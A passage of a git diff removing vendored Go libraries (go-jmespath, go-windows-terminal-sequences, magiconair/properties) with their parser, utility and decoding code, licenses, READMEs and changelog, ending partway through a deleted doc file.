ASTIdentity} - } else { - right, err = p.parseProjectionRHS(bindingPowers[tFilter]) - if err != nil { - return ASTNode{}, err - } - } - - return ASTNode{ - nodeType: ASTFilterProjection, - children: []ASTNode{node, right, condition}, - }, nil -} - -func (p *Parser) parseDotRHS(bindingPower int) (ASTNode, error) { - lookahead := p.current() - if tokensOneOf([]tokType{tQuotedIdentifier, tUnquotedIdentifier, tStar}, lookahead) { - return p.parseExpression(bindingPower) - } else if lookahead == tLbracket { - if err := p.match(tLbracket); err != nil { - return ASTNode{}, err - } - return p.parseMultiSelectList() - } else if lookahead == tLbrace { - if err := p.match(tLbrace); err != nil { - return ASTNode{}, err - } - return p.parseMultiSelectHash() - } - return ASTNode{}, p.syntaxError("Expected identifier, lbracket, or lbrace") -} - -func (p *Parser) parseProjectionRHS(bindingPower int) (ASTNode, error) { - current := p.current() - if bindingPowers[current] < 10 { - return ASTNode{nodeType: ASTIdentity}, nil - } else if current == tLbracket { - return p.parseExpression(bindingPower) - } else if current == tFilter { - return p.parseExpression(bindingPower) - } else if current == tDot { - err := p.match(tDot) - if err != nil { - return ASTNode{}, err - } - return p.parseDotRHS(bindingPower) - } else { - return ASTNode{}, p.syntaxError("Error") - } -} - -func (p *Parser) lookahead(number int) tokType { - return p.lookaheadToken(number).tokenType -} - -func (p *Parser) current() tokType { - return p.lookahead(0) -} - -func (p *Parser) lookaheadToken(number int) token { - return p.tokens[p.index+number] -} - -func (p *Parser) advance() { - p.index++ -} - -func tokensOneOf(elements []tokType, token tokType) bool { - for _, elem := range elements { - if elem == token { - return true - } - } - return false -} - -func (p *Parser) syntaxError(msg string) SyntaxError { - return SyntaxError{ - msg: msg, - Expression: p.expression, - Offset: p.lookaheadToken(0).position, - } -} - -// Create a SyntaxError based on the provided token. -// This differs from syntaxError() which creates a SyntaxError -// based on the current lookahead token. -func (p *Parser) syntaxErrorToken(msg string, t token) SyntaxError { - return SyntaxError{ - msg: msg, - Expression: p.expression, - Offset: t.position, - } -} diff --git a/vendor/github.com/jmespath/go-jmespath/toktype_string.go b/vendor/github.com/jmespath/go-jmespath/toktype_string.go deleted file mode 100644 index dae79cbdf3..0000000000 --- a/vendor/github.com/jmespath/go-jmespath/toktype_string.go +++ /dev/null @@ -1,16 +0,0 @@ -// generated by stringer -type=tokType; DO NOT EDIT - -package jmespath - -import "fmt" - -const _tokType_name = "tUnknowntStartDottFiltertFlattentLparentRparentLbrackettRbrackettLbracetRbracetOrtPipetNumbertUnquotedIdentifiertQuotedIdentifiertCommatColontLTtLTEtGTtGTEtEQtNEtJSONLiteraltStringLiteraltCurrenttExpreftAndtNottEOF" - -var _tokType_index = [...]uint8{0, 8, 13, 17, 24, 32, 39, 46, 55, 64, 71, 78, 81, 86, 93, 112, 129, 135, 141, 144, 148, 151, 155, 158, 161, 173, 187, 195, 202, 206, 210, 214} - -func (i tokType) String() string { - if i < 0 || i >= tokType(len(_tokType_index)-1) { - return fmt.Sprintf("tokType(%d)", i) - } - return _tokType_name[_tokType_index[i]:_tokType_index[i+1]] -} diff --git a/vendor/github.com/jmespath/go-jmespath/util.go b/vendor/github.com/jmespath/go-jmespath/util.go deleted file mode 100644 index ddc1b7d7d4..0000000000 --- a/vendor/github.com/jmespath/go-jmespath/util.go +++ /dev/null @@ -1,185 +0,0 @@ -package jmespath - -import ( - "errors" - "reflect" -) - -// IsFalse determines if an object is false based on the JMESPath spec. -// JMESPath defines false values to be any of: -// - An empty string array, or hash. -// - The boolean value false. -// - nil -func isFalse(value interface{}) bool { - switch v := value.(type) { - case bool: - return !v - case []interface{}: - return len(v) == 0 - case map[string]interface{}: - return len(v) == 0 - case string: - return len(v) == 0 - case nil: - return true - } - // Try the reflection cases before returning false. - rv := reflect.ValueOf(value) - switch rv.Kind() { - case reflect.Struct: - // A struct type will never be false, even if - // all of its values are the zero type. - return false - case reflect.Slice, reflect.Map: - return rv.Len() == 0 - case reflect.Ptr: - if rv.IsNil() { - return true - } - // If it's a pointer type, we'll try to deref the pointer - // and evaluate the pointer value for isFalse. - element := rv.Elem() - return isFalse(element.Interface()) - } - return false -} - -// ObjsEqual is a generic object equality check. -// It will take two arbitrary objects and recursively determine -// if they are equal. -func objsEqual(left interface{}, right interface{}) bool { - return reflect.DeepEqual(left, right) -} - -// SliceParam refers to a single part of a slice. -// A slice consists of a start, a stop, and a step, similar to -// python slices. -type sliceParam struct { - N int - Specified bool -} - -// Slice supports [start:stop:step] style slicing that's supported in JMESPath. -func slice(slice []interface{}, parts []sliceParam) ([]interface{}, error) { - computed, err := computeSliceParams(len(slice), parts) - if err != nil { - return nil, err - } - start, stop, step := computed[0], computed[1], computed[2] - result := []interface{}{} - if step > 0 { - for i := start; i < stop; i += step { - result = append(result, slice[i]) - } - } else { - for i := start; i > stop; i += step { - result = append(result, slice[i]) - } - } - return result, nil -} - -func computeSliceParams(length int, parts []sliceParam) ([]int, error) { - var start, stop, step int - if !parts[2].Specified { - step = 1 - } else if parts[2].N == 0 { - return nil, errors.New("Invalid slice, step cannot be 0") - } else { - step = parts[2].N - } - var stepValueNegative bool - if step < 0 { - stepValueNegative = true - } else { - stepValueNegative = false - } - - if !parts[0].Specified { - if stepValueNegative { - start = length - 1 - } else { - start = 0 - } - } else { - start = capSlice(length, parts[0].N, step) - } - - if !parts[1].Specified { - if stepValueNegative { - stop = -1 - } else { - stop = length - } - } else { - stop = capSlice(length, parts[1].N, step) - } - return []int{start, stop, step}, nil -} - -func capSlice(length int, actual int, step int) int { - if actual < 0 { - actual += length - if actual < 0 { - if step < 0 { - actual = -1 - } else { - actual = 0 - } - } - } else if actual >= length { - if step < 0 { - actual = length - 1 - } else { - actual = length - } - } - return actual -} - -// ToArrayNum converts an empty interface type to a slice of float64. -// If any element in the array cannot be converted, then nil is returned -// along with a second value of false. -func toArrayNum(data interface{}) ([]float64, bool) { - // Is there a better way to do this with reflect? - if d, ok := data.([]interface{}); ok { - result := make([]float64, len(d)) - for i, el := range d { - item, ok := el.(float64) - if !ok { - return nil, false - } - result[i] = item - } - return result, true - } - return nil, false -} - -// ToArrayStr converts an empty interface type to a slice of strings. -// If any element in the array cannot be converted, then nil is returned -// along with a second value of false. If the input data could be entirely -// converted, then the converted data, along with a second value of true, -// will be returned. -func toArrayStr(data interface{}) ([]string, bool) { - // Is there a better way to do this with reflect? - if d, ok := data.([]interface{}); ok { - result := make([]string, len(d)) - for i, el := range d { - item, ok := el.(string) - if !ok { - return nil, false - } - result[i] = item - } - return result, true - } - return nil, false -} - -func isSliceType(v interface{}) bool { - if v == nil { - return false - } - return reflect.TypeOf(v).Kind() == reflect.Slice -} diff --git a/vendor/github.com/konsorten/go-windows-terminal-sequences/LICENSE b/vendor/github.com/konsorten/go-windows-terminal-sequences/LICENSE deleted file mode 100644 index 14127cd831..0000000000 --- a/vendor/github.com/konsorten/go-windows-terminal-sequences/LICENSE +++ /dev/null @@ -1,9 +0,0 @@ -(The MIT License) - -Copyright (c) 2017 marvin + konsorten GmbH (open-source@konsorten.de) - -Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the 'Software'), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/vendor/github.com/konsorten/go-windows-terminal-sequences/README.md b/vendor/github.com/konsorten/go-windows-terminal-sequences/README.md deleted file mode 100644 index 949b77e304..0000000000 --- a/vendor/github.com/konsorten/go-windows-terminal-sequences/README.md +++ /dev/null @@ -1,40 +0,0 @@ -# Windows Terminal Sequences - -This library allow for enabling Windows terminal color support for Go. - -See [Console Virtual Terminal Sequences](https://docs.microsoft.com/en-us/windows/console/console-virtual-terminal-sequences) for details. - -## Usage - -```go -import ( - "syscall" - - sequences "github.com/konsorten/go-windows-terminal-sequences" -) - -func main() { - sequences.EnableVirtualTerminalProcessing(syscall.Stdout, true) -} - -``` - -## Authors - -The tool is sponsored by the [marvin + konsorten GmbH](http://www.konsorten.de). - -We thank all the authors who provided code to this library: - -* Felix Kollmann - -## License - -(The MIT License) - -Copyright (c) 2018 marvin + konsorten GmbH (open-source@konsorten.de) - -Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the 'Software'), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/vendor/github.com/konsorten/go-windows-terminal-sequences/go.mod b/vendor/github.com/konsorten/go-windows-terminal-sequences/go.mod deleted file mode 100644 index 716c613125..0000000000 --- a/vendor/github.com/konsorten/go-windows-terminal-sequences/go.mod +++ /dev/null @@ -1 +0,0 @@ -module github.com/konsorten/go-windows-terminal-sequences diff --git a/vendor/github.com/konsorten/go-windows-terminal-sequences/sequences.go b/vendor/github.com/konsorten/go-windows-terminal-sequences/sequences.go deleted file mode 100644 index ef18d8f978..0000000000 --- a/vendor/github.com/konsorten/go-windows-terminal-sequences/sequences.go +++ /dev/null @@ -1,36 +0,0 @@ -// +build windows - -package sequences - -import ( - "syscall" - "unsafe" -) - -var ( - kernel32Dll *syscall.LazyDLL = syscall.NewLazyDLL("Kernel32.dll") - setConsoleMode *syscall.LazyProc = kernel32Dll.NewProc("SetConsoleMode") -) - -func EnableVirtualTerminalProcessing(stream syscall.Handle, enable bool) error { - const ENABLE_VIRTUAL_TERMINAL_PROCESSING uint32 = 0x4 - - var mode uint32 - err := syscall.GetConsoleMode(syscall.Stdout, &mode) - if err != nil { - return err - } - - if enable { - mode |= ENABLE_VIRTUAL_TERMINAL_PROCESSING - } else { - mode &^= ENABLE_VIRTUAL_TERMINAL_PROCESSING - } - - ret, _, err := setConsoleMode.Call(uintptr(unsafe.Pointer(stream)), uintptr(mode)) - if ret == 0 { - return err - } - - return nil -} diff --git a/vendor/github.com/magiconair/properties/.gitignore b/vendor/github.com/magiconair/properties/.gitignore deleted file mode 100644 index e7081ff522..0000000000 --- a/vendor/github.com/magiconair/properties/.gitignore +++ /dev/null @@ -1,6 +0,0 @@ -*.sublime-project -*.sublime-workspace -*.un~ -*.swp -.idea/ -*.iml diff --git a/vendor/github.com/magiconair/properties/.travis.yml b/vendor/github.com/magiconair/properties/.travis.yml deleted file mode 100644 index 60436b2021..0000000000 --- a/vendor/github.com/magiconair/properties/.travis.yml +++ /dev/null @@ -1,8 +0,0 @@ -language: go -go: - - 1.4.x - - 1.5.x - - 1.6.x - - 1.7.x - - 1.8.x - - tip diff --git a/vendor/github.com/magiconair/properties/CHANGELOG.md b/vendor/github.com/magiconair/properties/CHANGELOG.md deleted file mode 100644 index 4905fec991..0000000000 --- a/vendor/github.com/magiconair/properties/CHANGELOG.md +++ /dev/null @@ -1,96 +0,0 @@ -## Changelog - -### [1.7.3](https://github.com/magiconair/properties/tags/v1.7.3) - 10 Jul 2017 - - * [Issue #17](https://github.com/magiconair/properties/issues/17): Add [SetValue()](http://godoc.org/github.com/magiconair/properties#Properties.SetValue) method to set values generically - * [Issue #22](https://github.com/magiconair/properties/issues/22): Add [LoadMap()](http://godoc.org/github.com/magiconair/properties#LoadMap) function to load properties from a string map - -### [1.7.2](https://github.com/magiconair/properties/tags/v1.7.2) - 20 Mar 2017 - - * [Issue #15](https://github.com/magiconair/properties/issues/15): Drop gocheck dependency - * [PR #21](https://github.com/magiconair/properties/pull/21): Add [Map()](http://godoc.org/github.com/magiconair/properties#Properties.Map) and [FilterFunc()](http://godoc.org/github.com/magiconair/properties#Properties.FilterFunc) - -### [1.7.1](https://github.com/magiconair/properties/tags/v1.7.1) - 13 Jan 2017 - - * [PR #16](https://github.com/magiconair/properties/pull/16): Keep gofmt happy - * [PR #18](https://github.com/magiconair/properties/pull/18): Fix Delete() function - -### [1.7.0](https://github.com/magiconair/properties/tags/v1.7.0) - 20 Mar 2016 - - * [Issue #10](https://github.com/magiconair/properties/issues/10): Add [LoadURL,LoadURLs,MustLoadURL,MustLoadURLs](http://godoc.org/github.com/magiconair/properties#LoadURL) method to load properties from a URL. - * [Issue #11](https://github.com/magiconair/properties/issues/11): Add [LoadString,MustLoadString](http://godoc.org/github.com/magiconair/properties#LoadString) method to load properties from an UTF8 string. - * [PR #8](https://github.com/magiconair/properties/pull/8): Add [MustFlag](http://godoc.org/github.com/magiconair/properties#Properties.MustFlag) method to provide overrides via command line flags. (@pascaldekloe) - -### [1.6.0](https://github.com/magiconair/properties/tags/v1.6.0) - 11 Dec 2015 - - * Add [Decode](http://godoc.org/github.com/magiconair/properties#Properties.Decode) method to populate struct from properties via tags. - -### [1.5.6](https://github.com/magiconair/properties/tags/v1.5.6) - 18 Oct 2015 - - * Vendored in gopkg.in/check.v1 - -### [1.5.5](https://github.com/magiconair/properties/tags/v1.5.5) - 31 Jul 2015 - - * [PR #6](https://github.com/magiconair/properties/pull/6): Add [Delete](http://godoc.org/github.com/magiconair/properties#Properties.Delete) method to remove keys including comments. (@gerbenjacobs) - -### [1.5.4](https://github.com/magiconair/properties/tags/v1.5.4) - 23 Jun 2015 - - * [Issue #5](https://github.com/magiconair/properties/issues/5): Allow disabling of property expansion [DisableExpansion](http://godoc.org/github.com/magiconair/properties#Properties.DisableExpansion). When property expansion is disabled Properties become a simple key/value store and don't check for circular references. - -### [1.5.3](https://github.com/magiconair/properties/tags/v1.5.3) - 02 Jun 2015 - - * [Issue #4](https://github.com/magiconair/properties/issues/4): Maintain key order in [Filter()](http://godoc.org/github.com/magiconair/properties#Properties.Filter), [FilterPrefix()](http://godoc.org/github.com/magiconair/properties#Properties.FilterPrefix) and [FilterRegexp()](http://godoc.org/github.com/magiconair/properties#Properties.FilterRegexp) - -### [1.5.2](https://github.com/magiconair/properties/tags/v1.5.2) - 10 Apr 2015 - - * [Issue #3](https://github.com/magiconair/properties/issues/3): Don't print comments in [WriteComment()](http://godoc.org/github.com/magiconair/properties#Properties.WriteComment) if they are all empty - * Add clickable links to README - -### [1.5.1](https://github.com/magiconair/properties/tags/v1.5.1) - 08 Dec 2014 - - * Added [GetParsedDuration()](http://godoc.org/github.com/magiconair/properties#Properties.GetParsedDuration) and [MustGetParsedDuration()](http://godoc.org/github.com/magiconair/properties#Properties.MustGetParsedDuration) for values specified compatible with - [time.ParseDuration()](http://golang.org/pkg/time/#ParseDuration). - -### [1.5.0](https://github.com/magiconair/properties/tags/v1.5.0) - 18 Nov 2014 - - * Added support for single and multi-line comments (reading, writing and updating) - * The order of keys is now preserved - * Calling [Set()](http://godoc.org/github.com/magiconair/properties#Properties.Set) with an empty key now silently ignores the call and does not create a new entry - * Added a [MustSet()](http://godoc.org/github.com/magiconair/properties#Properties.MustSet) method - * Migrated test library from launchpad.net/gocheck to [gopkg.in/check.v1](http://gopkg.in/check.v1) - -### [1.4.2](https://github.com/magiconair/properties/tags/v1.4.2) - 15 Nov 2014 - - * [Issue #2](https://github.com/magiconair/properties/issues/2): Fixed goroutine leak in parser which created two lexers but cleaned up only one - -### [1.4.1](https://github.com/magiconair/properties/tags/v1.4.1) - 13 Nov 2014 - - * [Issue #1](https://github.com/magiconair/properties/issues/1): Fixed bug in Keys() method which returned an empty string - -### [1.4.0](https://github.com/magiconair/properties/tags/v1.4.0) - 23 Sep 2014 - - * Added [Keys()](http://godoc.org/github.com/magiconair/properties#Properties.Keys) to get the keys - * Added [Filter()](http://godoc.org/github.com/magiconair/properties#Properties.Filter), [FilterRegexp()](http://godoc.org/github.com/magiconair/properties#Properties.FilterRegexp) and [FilterPrefix()](http://godoc.org/github.com/magiconair/properties#Properties.FilterPrefix) to get a subset of the properties - -### [1.3.0](https://github.com/magiconair/properties/tags/v1.3.0) - 18 Mar 2014 - -* Added support for time.Duration -* Made MustXXX() failure beha[ior configurable (log.Fatal, panic](https://github.com/magiconair/properties/tags/vior configurable (log.Fatal, panic) - custom) -* Changed default of MustXXX() failure from panic to log.Fatal - -### [1.2.0](https://github.com/magiconair/properties/tags/v1.2.0) - 05 Mar 2014 - -* Added MustGet... functions -* Added support for int and uint with range checks on 32 bit platforms - -### [1.1.0](https://github.com/magiconair/properties/tags/v1.1.0) - 20 Jan 2014 - -* Renamed from goproperties to properties -* Added support for expansion of environment vars in - filenames and value expressions -* Fixed bug where value expressions were not at the - start of the string - -### [1.0.0](https://github.com/magiconair/properties/tags/v1.0.0) - 7 Jan 2014 - -* Initial release diff --git a/vendor/github.com/magiconair/properties/LICENSE b/vendor/github.com/magiconair/properties/LICENSE deleted file mode 100644 index 7eab43b6bf..0000000000 --- a/vendor/github.com/magiconair/properties/LICENSE +++ /dev/null @@ -1,25 +0,0 @@ -goproperties - properties file decoder for Go - -Copyright (c) 2013-2014 - Frank Schroeder - -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are met: - -1. Redistributions of source code must retain the above copyright notice, this - list of conditions and the following disclaimer. -2. Redistributions in binary form must reproduce the above copyright notice, - this list of conditions and the following disclaimer in the documentation - and/or other materials provided with the distribution. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND -ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR -ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND -ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/vendor/github.com/magiconair/properties/README.md b/vendor/github.com/magiconair/properties/README.md deleted file mode 100644 index eb3b8c435c..0000000000 --- a/vendor/github.com/magiconair/properties/README.md +++ /dev/null @@ -1,100 +0,0 @@ -Overview [![Build Status](https://travis-ci.org/magiconair/properties.svg?branch=master)](https://travis-ci.org/magiconair/properties) -======== - -#### Current version: 1.7.3 - -properties is a Go library for reading and writing properties files. - -It supports reading from multiple files or URLs and Spring style recursive -property expansion of expressions like `${key}` to their corresponding value. -Value expressions can refer to other keys like in `${key}` or to environment -variables like in `${USER}`. Filenames can also contain environment variables -like in `/home/${USER}/myapp.properties`. - -Properties can be decoded into structs, maps, arrays and values through -struct tags. - -Comments and the order of keys are preserved. Comments can be modified -and can be written to the output. - -The properties library supports both ISO-8859-1 and UTF-8 encoded data. - -Starting from version 1.3.0 the behavior of the MustXXX() functions is -configurable by providing a custom `ErrorHandler` function. The default has -changed from `panic` to `log.Fatal` but this is configurable and custom -error handling functions can be provided. See the package documentation for -details. - -Read the full documentation on [GoDoc](https://godoc.org/github.com/magiconair/properties) [![GoDoc](https://godoc.org/github.com/magiconair/properties?status.png)](https://godoc.org/github.com/magiconair/properties) - -Getting Started ---------------- - -```go -import ( - "flag" - "github.com/magiconair/properties" -) - -func main() { - // init from a file - p := properties.MustLoadFile("${HOME}/config.properties", properties.UTF8) - - // or multiple files - p = properties.MustLoadFiles([]string{ - "${HOME}/config.properties", - "${HOME}/config-${USER}.properties", - }, properties.UTF8, true) - - // or from a map - p = properties.LoadMap(map[string]string{"key": "value", "abc": "def"}) - - // or from a string - p = properties.MustLoadString("key=value\nabc=def") - - // or from a URL - p = properties.MustLoadURL("http://host/path") - - // or from multiple URLs - p = properties.MustLoadURL([]string{ - "http://host/config", - "http://host/config-${USER}", - }, true) - - // or from flags - p.MustFlag(flag.CommandLine) - - // get values through getters - host := p.MustGetString("host") - port := p.GetInt("port", 8080) - - // or through Decode - type Config struct { - Host string `properties:"host"` - Port int `properties:"port,default=9000"` - Accept []string `properties:"accept,default=image/png;image;gif"` - Timeout time.Duration `properties:"timeout,default=5s"` - } - var cfg Config - if err := p.Decode(&cfg); err != nil { - log.Fatal(err) - } -} - -``` - -Installation and Upgrade ------------------------- - -``` -$ go get -u github.com/magiconair/properties -``` - -License -------- - -2 clause BSD license. See [LICENSE](https://github.com/magiconair/properties/blob/master/LICENSE) file for details. - -ToDo ----- -* Dump contents with passwords and secrets obscured diff --git a/vendor/github.com/magiconair/properties/decode.go b/vendor/github.com/magiconair/properties/decode.go deleted file mode 100644 index 0a961bb044..0000000000 --- a/vendor/github.com/magiconair/properties/decode.go +++ /dev/null @@ -1,289 +0,0 @@ -// Copyright 2017 Frank Schroeder. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package properties - -import ( - "fmt" - "reflect" - "strconv" - "strings" - "time" -) - -// Decode assigns property values to exported fields of a struct. -// -// Decode traverses v recursively and returns an error if a value cannot be -// converted to the field type or a required value is missing for a field. -// -// The following type dependent decodings are used: -// -// String, boolean, numeric fields have the value of the property key assigned. -// The property key name is the name of the field. A different key and a default -// value can be set in the field's tag. Fields without default value are -// required. If the value cannot be converted to the field type an error is -// returned. -// -// time.Duration fields have the result of time.ParseDuration() assigned. -// -// time.Time fields have the vaule of time.Parse() assigned. The default layout -// is time.RFC3339 but can be set in the field's tag. -// -// Arrays and slices of string, boolean, numeric, time.Duration and time.Time -// fields have the value interpreted as a comma separated list of values. The -// individual values are trimmed of whitespace and empty values are ignored. A -// default value can be provided as a semicolon separated list in the field's -// tag. -// -// Struct fields are decoded recursively using the field name plus "." as -// prefix. The prefix (without dot) can be overridden in the field's tag. -// Default values are not supported in the field's tag. Specify them on the -// fields of the inner struct instead. -// -// Map fields must have a key of type string and are decoded recursively by -// using the field's name plus ".' as prefix and the next element of the key -// name as map key. The prefix (without dot) can be overridden in the field's -// tag. Default values are not supported. -// -// Examples: -// -// // Field is ignored. -// Field int `properties:"-"` -// -// // Field is assigned value of 'Field'. -// Field int -// -// // Field is assigned value of 'myName'. -// Field int `properties:"myName"` -// -// // Field is assigned value of key 'myName' and has a default -// // value 15 if the key does not exist. -// Field int `properties:"myName,default=15"` -// -// // Field is assigned value of key 'Field' and has a default -// // value 15 if the key does not exist. -// Field int `properties:",default=15"` -// -// // Field is assigned value of key 'date' and the date -// // is in format 2006-01-02 -// Field time.Time `properties:"date,layout=2006-01-02"` -// -// // Field is assigned the non-empty and whitespace trimmed -// // values of key 'Field' split by commas. -// Field []string -// -// // Field is assigned the non-empty and whitespace trimmed -// // values of key 'Field' split by commas and has a default -// // value ["a", "b", "c"] if the key does not exist. -// Field []string `properties:",default=a;b;c"` -// -// // Field is decoded recursively with "Field." as key prefix. -// Field SomeStruct -// -// // Field is decoded recursively with "myName." as key prefix. -// Field SomeStruct `properties:"myName"` -// -// // Field is decoded recursively with "Field." as key prefix -// // and the next dotted element of the key as map key. -// Field map[string]string -// -// // Field is decoded recursively with "myName." as key prefix -// // and the next dotted element of the key as map key. -// Field map[string]string `properties:"myName"` -func (p *Properties) Decode(x interface{}) error { - t, v := reflect.TypeOf(x), reflect.ValueOf(x) - if t.Kind() != reflect.Ptr || v.Elem().Type().Kind() != reflect.Struct { - return fmt.Errorf("not a pointer to struct: %s", t) - } - if err := dec(p, "", nil, nil, v); err != nil { - return err - } - return nil -} - -func dec(p *Properties, key string, def *string, opts map[string]string, v reflect.Value) error { - t := v.Type() - - // value returns the property value for key or the default if provided. - value := func() (string, error) { - if val, ok := p.Get(key); ok { - return val, nil - } - if def != nil { - return *def, nil - } - return "", fmt.Errorf("missing required key %s", key) - } - - // conv converts a string to a value of the given type. - conv := func(s string, t reflect.Type) (val reflect.Value, err error) { - var v interface{} - - switch { - case isDuration(t): - v, err = time.ParseDuration(s) - - case isTime(t): - layout := opts["layout"] - if layout == "" { - layout = time.RFC3339 - } - v, err = time.Parse(layout, s) - - case isBool(t): - v, err = boolVal(s), nil - - case isString(t): - v, err = s, nil - - case isFloat(t): - v, err = strconv.ParseFloat(s, 64) - - case isInt(t): - v, err = strconv.ParseInt(s, 10, 64) - - case isUint(t): - v, err = strconv.ParseUint(s, 10, 64) - - default: - return reflect.Zero(t), fmt.Errorf("unsupported type %s", t) - } - if err != nil { - return reflect.Zero(t), err - } - return reflect.ValueOf(v).Convert(t), nil - } - - // keydef returns the property key and the default value based on the - // name of the struct field and the options in the tag. - keydef := func(f reflect.StructField) (string, *string, map[string]string) { - _key, _opts := parseTag(f.Tag.Get("properties")) - - var _def *string - if d, ok := _opts["default"]; ok { - _def = &d - } - if _key != "" { - return _key, _def, _opts - } - return f.Name, _def, _opts - } - - switch { - case isDuration(t) || isTime(t) || isBool(t) || isString(t) || isFloat(t) || isInt(t) || isUint(t): - s, err := value() - if err != nil { - return err - } - val, err := conv(s, t) - if err != nil { - return err - } - v.Set(val) - - case isPtr(t): - return dec(p, key, def, opts, v.Elem()) - - case isStruct(t): - for i := 0; i < v.NumField(); i++ { - fv := v.Field(i) - fk, def, opts := keydef(t.Field(i)) - if !fv.CanSet() { - return fmt.Errorf("cannot set %s", t.Field(i).Name) - } - if fk == "-" { - continue - } - if key != "" { - fk = key + "." + fk - } - if err := dec(p, fk, def, opts, fv); err != nil { - return err - } - } - return nil - - case isArray(t): - val, err := value() - if err != nil { - return err - } - vals := split(val, ";") - a := reflect.MakeSlice(t, 0, len(vals)) - for _, s := range vals { - val, err := conv(s, t.Elem()) - if err != nil { - return err - } - a = reflect.Append(a, val) - } - v.Set(a) - - case isMap(t): - valT := t.Elem() - m := reflect.MakeMap(t) - for postfix := range p.FilterStripPrefix(key + ".").m { - pp := strings.SplitN(postfix, ".", 2) - mk, mv := pp[0], reflect.New(valT) - if err := dec(p, key+"."+mk, nil, nil, mv); err != nil { - return err - } - m.SetMapIndex(reflect.ValueOf(mk), mv.Elem()) - } - v.Set(m) - - default: - return fmt.Errorf("unsupported type %s", t) - } - return nil -} - -// split splits a string on sep, trims whitespace of elements -// and omits empty elements -func split(s string, sep string) []string { - var a []string - for _, v := range strings.Split(s, sep) { - if v = strings.TrimSpace(v); v != "" { - a = append(a, v) - } - } - return a -} - -// parseTag parses a "key,k=v,k=v,..." -func parseTag(tag string) (key string, opts map[string]string) { - opts = map[string]string{} - for i, s := range strings.Split(tag, ",") { - if i == 0 { - key = s - continue - } - - pp := strings.SplitN(s, "=", 2) - if len(pp) == 1 { - opts[pp[0]] = "" - } else { - opts[pp[0]] = pp[1] - } - } - return key, opts -} - -func isArray(t reflect.Type) bool { return t.Kind() == reflect.Array || t.Kind() == reflect.Slice } -func isBool(t reflect.Type) bool { return t.Kind() == reflect.Bool } -func isDuration(t reflect.Type) bool { return t == reflect.TypeOf(time.Second) } -func isMap(t reflect.Type) bool { return t.Kind() == reflect.Map } -func isPtr(t reflect.Type) bool { return t.Kind() == reflect.Ptr } -func isString(t reflect.Type) bool { return t.Kind() == reflect.String } -func isStruct(t reflect.Type) bool { return t.Kind() == reflect.Struct } -func isTime(t reflect.Type) bool { return t == reflect.TypeOf(time.Time{}) } -func isFloat(t reflect.Type) bool { - return t.Kind() == reflect.Float32 || t.Kind() == reflect.Float64 -} -func isInt(t reflect.Type) bool { - return t.Kind() == reflect.Int || t.Kind() == reflect.Int8 || t.Kind() == reflect.Int16 || t.Kind() == reflect.Int32 || t.Kind() == reflect.Int64 -} -func isUint(t reflect.Type) bool { - return t.Kind() == reflect.Uint || t.Kind() == reflect.Uint8 || t.Kind() == reflect.Uint16 || t.Kind() == reflect.Uint32 || t.Kind() == reflect.Uint64 -} diff --git a/vendor/github.com/magiconair/properties/doc.go b/vendor/github.com/magiconair/properties/doc.go deleted file mode 100644 index 36c8368089..0000000000 --- a/vendor/github.com/magiconair/properties/doc.go +++ /dev/null @@ -1,156 +0,0 @@ -// Copyright 2017 Frank Schroeder. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// Package properties provides functions for reading and writing -// ISO-8859-1 and UTF-8 encoded .properties files and has -// support for recursive property expansion. -// -// Java properties files are ISO-8859-1 encoded and use Unicode -// literals for characters outside the ISO character set. Unicode -// literals can be used in UTF-8 encoded properties files but -// aren't necessary. -// -// To load a single properties file use MustLoadFile(): -// -// p := properties.MustLoadFile(filename, 